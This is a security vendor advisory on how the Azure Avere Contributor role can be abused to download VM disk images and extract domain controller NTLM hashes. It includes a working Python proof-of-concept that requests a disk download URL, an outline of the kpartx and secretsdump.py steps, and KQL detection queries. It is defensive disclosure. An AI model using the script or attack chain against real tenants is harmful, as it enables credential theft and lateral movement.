Threat Analysis

Permissive Avere Contributor Role Allows Virtual Machine Credential Dumping

Summary

Secureworks® Counter Threat Unit™ (CTU) researchers identified an opportunity for malicious privilege escalation within Microsoft Azure. A threat actor who obtains the Avere Contributor role in the Azure role-based access control (Azure RBAC) system could obtain access keys for any storage account within an Azure tenant and could make backups of disk images for any virtual machine (VM) within the tenant. In the attack chain, the Avere Contributor role copies the VM disk image of a backup domain controller to an attacker-controlled system and then utilizes the Impacket secretsdump.py script to extract the domain controller's NTLM hashes.

Avere Contributor role

The Avere Contributor role is associated with the Avere vFXT for Azure “filesystem caching solution for data-intensive high-performance computing (HPC) tasks.” The role can perform many actions associated with creating and managing a cluster. The following actions are relevant to the attack chain identified by CTU™ researchers:

  • Microsoft.Storage/storageAccounts/*
  • Microsoft.Compute/disks/*

The Microsoft.Storage/storageAccounts/* action can execute the listKeys command for storage accounts. A threat actor could use this information to gain full access to any storage account in the tenant, including CloudShell storage accounts.

The Microsoft.Compute/disks/* action can copy disk images for any VM in the organization's tenant. A threat actor could target sensitive VMs within an organization's subscription, make and download a backup copy of the VM as a VMDK file, and extract secret data from the VM. The data could include NTLM hashes of local accounts and even domain and cloud accounts if the VM is a domain controller, as well as other sensitive information.

Proof of concept

To demonstrate the proof of concept, CTU researchers created a Python snippet that generates a link to download the VM backup:

def get_backup_url(token, subscriptionId, resourceGroup, vmDiskImage):
    url = "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/disks/{vmDiskImage}/BeginGetAccess?api-version=2022-03-02"
    headers = {
        "x-ms-client-session-id": "cb8c32a0f31e46f890d7e46b61b63cd9",
        "x-ms-command-name": "Microsoft_Azure_DiskMgmt.",
        "accept-language": "en",
        "authorization": f"Bearer {token}",
        "x-ms-effective-locale": "en.en-us",
        "content-type": "application/json",
        "accept": "*/*",
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
        "x-ms-client-request-id": "c7255382-42a5-486a-ba20-9c0ad90ea004",
        "origin": "https://portal.azure.com",
        "sec-fetch-site": "same-site",
        "sec-fetch-mode": "cors",
        "sec-fetch-dest": "empty",
        "accept-encoding": "gzip, deflate, br",
    }
    data = {
        "access":"read",
        "durationInSeconds": 3600000
    }
    req = requests.post(url, headers=headers, json=data)
    if req.status_code == 202:
        try:
            for k,v in req.headers.items():
                if k.lower() == 'location':
                    redirect_url = v
                    req2 = requests.get(redirect_url, headers=headers)
                    if req2.status_code == 200:
                        r = req2.json()
                        disk_download_url = r["accessSAS"]
                        print (f"[ + ] Found DC Disk VM Download URL: {disk_download_url}")
                        print (f"[ + ] Click above link to download VHD of Target Domain Controller, then follow the steps here to extract the secrets: https://drmarmar.com/vmdk-credentials")
                        return True
                    else:
                        print (f"[ ! ] GetBackupUrlError: Invalid Status Code for redirect_uri: StatusCode: {req2.status_code}\r\n\r\n{req2.text}")
                        exit()
        except Exception as e:
            print (f"[ ! ] GetBackupUrlError: Location Header Not Found: {e}")
            exit()
    else:
         print (f"[ ! ] GetBackupUrlError: Invalid Status Code: {req.status_code}\r\n\r\n{req.text}")
         exit()

This code sends a request asking Azure to create the backup VM disk image and store it in a storage account. Azure performs these actions and responds with the Shared Access Signature (SAS) URI for the backup disk image (see Figure 1). Opening the URL in a browser downloads the disk image.


Figure 1. Azure response containing the download URL for the requested disk image. (Source: Secureworks)

A threat actor could then use a tool such as kpartx to partition the disk image on an attacker-controlled Linux system (see Figure 2).


Figure 2. Partitioning the disk image. (Source: Secureworks)

After the VMDK file is partitioned onto the system, the attacker mounts the partition to a local directory (/mnt/tmp) (see Figure 3).


Figure 3. Mounting the partition. (Source: Secureworks)

Finally, the threat actor uses the Impacket secretsdump.py script to dump the ntds.dit file containing the organization's domain hashes (see Figure 4).


Figure 4. Script dumping the ntds.dit file. (Source: Secureworks)

If the organization enabled password sync in the tenant, or if users reuse passwords for the Azure accounts, the cracked NTLM hashes could lead to further compromise. Threat actors who have internal access to the organization could use pass-the-hash attacks to move laterally within the network.

Detection

CTU researchers created the following KQL query to determine if any user attempted to make a backup VM disk image:

	AzureActivity
	| where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION"

A modified version of the query identifies if the attempt originated from a user possessing the Avere Contributor role:

	AzureActivity
	| where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION"
	| where tostring(parse_json(Authorization).evidence.role) == "Avere Contributor"

Communication with Microsoft

CTU researchers reported this issue to the Microsoft Security Response Center (MSRC) on March 23, 2024. The MSRC responded on May 7:

Upon [investigation], our team determined that this is not a [vulnerability]. The reported behaviour related to the permission appears [to] be working as intended and is not an elevation of privilege. This report seems to be more of a feature request. We would also like to highlight that recently we have announced the decrepation [sic] of this solution by the end of 2025. However, we have shared your report with the team responsible for maintaining the product or service and they may review this report for any potential changes and/or appropriate action as needed to help keep customers protected.

Conclusion

Threat actors could abuse the Avere Contributor role to download disk images of VMs and extract secrets from the downloaded VMDK files. The attackers could then obtain elevated privileges within an Azure tenant and move laterally in the network environment.

Back to more Threat Analyses and Advisories

Talk with an Expert

Thank you for submitting the form! We have received your request. A Secureworks team member will contact you within one business day.